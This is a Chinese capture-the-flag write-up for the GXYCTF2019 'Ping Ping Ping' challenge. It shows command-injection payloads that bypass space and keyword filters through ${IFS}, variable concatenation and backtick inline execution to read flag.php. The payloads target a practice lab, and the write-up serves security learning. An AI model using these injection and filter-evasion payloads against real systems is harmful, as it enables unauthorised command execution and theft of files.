[GXYCTF2019]Ping Ping Ping wp
[GXYCTF2019]Ping Ping Ping wp
命令注入漏洞
空格绕过
内联命令读取


存在命令注入漏洞
“fxck” 是脏话 “fuck” 的刻意拼写变形,攻击性极强

这个表明,空格被过滤。
那么就要想,怎样绕过???
空格 可以用
空格
${IFS}
${IFS}$9
$IFS$1 绕过 可以逐个试试哪个管用

现在表明flag也被过滤了
但,刚刚出现,产生flag.php index.php 可以都试一下

发现很多符号都被绕过了
preg_match("/.*f.*l.*a.*g.*/", $ip)意思是:如果$ip中包含f、l、a、g这四个字母(不管顺序和中间插什么字符),就输出 fxck your flag! 并终止程序。
这个表明,我们不能直接输入flag进行文件读取,但可以使用变量赋值的方式
?ip=127.0.0.1;X=g;cat$IFS$1fla$X.php
查看页面源代码

以下payload也可行:
?ip=127.0.0.1;X=ag;cat$IFS$9fl$X.php
?ip=127.0.0.1;X=lag;cat$IFS$9f$X.php
?ip=127.0.0.1;X=la;cat$IFS$9`ls` //内联执行配合空格绕过
但以下payload不可行:
?ip=127.0.0.1;X=a;cat$IFS$9fl$Xg.php
?ip=127.0.0.1;X=la;cat$IFS$9f$Xg.php
因为shell会把$Xg当成一个变量名进行解析,但是该变量并没有定义。而前面可行的payload中因为变量$X后紧接着是.,因此可以成功解析
反引号 ls 是内联命令,会先执行 ls 并将结果作为参数传给 cat,最终效果是 “读取 ls 命令列出的文件内容”。
`ls`
?ip=127.0.0.1;cat$IFS`ls`
查看页面源代码 获取源代码

浙公网安备 33010602011771号